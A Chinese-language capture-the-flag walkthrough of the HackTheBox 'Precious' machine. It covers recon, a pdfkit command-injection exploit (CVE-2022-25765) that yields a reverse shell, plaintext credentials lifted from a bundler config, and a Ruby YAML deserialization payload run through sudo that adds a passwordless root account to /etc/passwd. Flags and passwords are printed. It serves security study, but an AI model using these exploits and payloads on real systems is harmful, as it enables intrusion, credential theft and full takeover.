目录
USER_FLAG:adf5793a876a190f0c08b3b6247cec32
ROOT_FLAG:f1f5fd20bc4c3cdfae0299947296fbb6
连接至HTB服务器并启动靶机
靶机IP:10.10.11.189
分配IP:10.10.16.7
使用nmap对靶机TCP端口进行开放扫描
nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.189
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.189
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-09 23:24 EST
Warning: 10.10.11.189 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.189 (10.10.11.189)
Host is up (0.15s latency).
Not shown: 65507 closed tcp ports (reset), 26 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 46.17 seconds
再次使用nmap对靶机22、80端口进行脚本、服务扫描
nmap -p 22,80 -sCV 10.10.11.189
使用curl访问靶机80端口
curl -I http://10.10.11.189:80
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.189:80
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0
Date: Sun, 10 Nov 2024 05:20:11 GMT
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: http://precious.htb/
将该域名与靶机IP绑定
echo '10.10.11.189 precious.htb' >> /etc/hosts
使用ffuf爆破一下子域
ffuf -u http://precious.htb/ -H 'Host: FUZZ.precious.htb' -w ../dictionary/subdomains-top20000.txt -t 200 -fc 302
再使用ffuf对该域名路径FUZZ
ffuf -u http://precious.htb/FUZZ -w ../dictionary/Common-dir.txt -t 200 -fc 302
使用浏览器访问该域名
这里直接就是一个提交一个URL到靶机上,初次之外也没有其他有用信息了
使用curl访问该域名响应头
curl -I http://precious.htb/
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://precious.htb/
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Length: 483
Connection: keep-alive
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Sun, 10 Nov 2024 06:06:21 GMT
X-Powered-By: Phusion Passenger(R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger(R) 6.0.15
X-Runtime: Ruby
可以看到页面返回了一个Ruby,所以这页面很可能就是用ruby语言编写
本地编写一个test.txt文件
echo 'This is a test text' > test.txt
利用python开启一个http服务
python -m http.server 7777
靶机URL上传至将test.txt文件进行下载
点击Submit后成功进行了转换
使用exiftool工具查看该pdf信息
.\exiftool.exe .\vxwb2a1xjsyl4ljfe7saqov548euun2v.pdf
使用searchsploit搜索关键词pdfkit
searchsploit pdfkit
可以看到该EXP版本是符合我们这次的靶机利用要求的
将EXP拷贝到当前目录下
searchsploit -m 51293.py
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 51293.py
Exploit: pdfkit v0.8.7.2 - Command Injection
URL: https://www.exploit-db.com/exploits/51293
Path: /usr/share/exploitdb/exploits/ruby/local/51293.py
Codes: CVE-2022--25765
Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/kali/Desktop/temp/51293.py
看一下该EXP需要填写的参数
使用Yakit抓包,看一下提交时的POST参数
本地侧nc开始监听
nc -lvnp 1425
使用EXP获得反弹shell
python 51293.py -s 10.10.16.7 1425 -w http://precious.htb -p url
本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.189] 45250
whoami
ruby
横向移动
提升TTY
script -c /bin/bash -q /dev/null
查看系统中的用户
cat /etc/passwd
可登录的用户:root、henry、ruby
我们切换到/tmp目录下
cd /tmp
查找一切与conf字样相关的文件并将输出保存到res.txt文件
find / -name '*conf*' -type f 2>/dev/null | tee res.txt
从res.txt文件中逐行读取文件内容,并匹配henry字样
cat res.txt | xargs -I {} sh -c 'cat {} | grep "henry"'
ruby@precious:/tmp$ cat rex.txt | xargs -I {} sh -c 'cat {} | grep "henry"'
cat rex.txt | xargs -I {} sh -c 'cat {} | grep "henry"'
Value: henry
Value: henry
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
如此这般便获得了henry的凭证
账户:henry
密码:Q3c1AqGHtoI0aXAYFH
使用上述凭证通过SSH服务登录到靶机
ssh henry@10.10.11.189
查找user_flag位置并查看其内容
henry@precious:~$ find / -name 'user.txt' 2>/dev/null
/home/henry/user.txt
henry@precious:~$ cat /home/henry/user.txt
adf5793a876a190f0c08b3b6247cec32
USER_FLAG:adf5793a876a190f0c08b3b6247cec32
特权提升
查看当前用户可特权运行的命令
sudo -l
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
查看update_dependencies.rb文件内容
cat /opt/update_dependencies.rb
ruby
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
简单代码审计后可知,该ruby代码的作用是拿本地的gems库版本与dependencies.yml文件中写的版本进行比对
此处读取YAML文件引起了我的注意,因为它并没有指向具体YAML的绝对地址,这意味着如果我们运行特权命令这个文件将会在我们运行命令的当前目录下开始寻找
查找该文件位置
henry@precious:/opt/sample$ find / -name 'dependencies.yml' 2>/dev/null
/opt/sample/dependencies.yml
查看该文件权限分配
ruby
ls -l /opt/sample/dependencies.yml
henry@precious:/opt/sample$ ls -l /opt/sample/dependencies.yml
-rw-r--r-- 1 root root 26 Sep 22 2022 /opt/sample/dependencies.yml
查看该文件内容
ruby
cat /opt/sample/dependencies.yml
henry@precious:/opt/sample$ cat /opt/sample/dependencies.yml
yaml: 0.1.1
pdfkit: 0.8.6
我尝试在网上搜索ruby中的YAML.load函数如何能执行命令
根据文中的描述,这个Payload可以导致RCE
ruby
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
我在攻击机本地新建一个dependencies.yml 文件,通过命令执行我尝试新建一个无密码管理员用户0dayhp
ruby
echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /etc/passwd
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /etc/passwd
method_id: :resolve
本地通过python开启一个http服务
ruby
python -m http.server 7777
靶机进入/tmp目录下,下载该文件
ruby
wget http://10.10.16.7:7777/dependencies.yml -O dependencies.yml
直接sudo运行无密码特权命令
henry@precious:/tmp$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
查看/etc/passwd文件内容
ruby
cat /etc/passwd
可以看到内容已经被成功添加进了/etc/passwd文件中
切换到0dayhp用户
ruby
su 0dayhp
henry@precious:/tmp$ su 0dayhp
root@precious:/tmp# whoami
root
查看root_flag位置并查看其内容
root@precious:/tmp# find / -name 'root.txt'
/root/root.txt
root@precious:/tmp# cat /root/root.txt
f1f5fd20bc4c3cdfae0299947296fbb6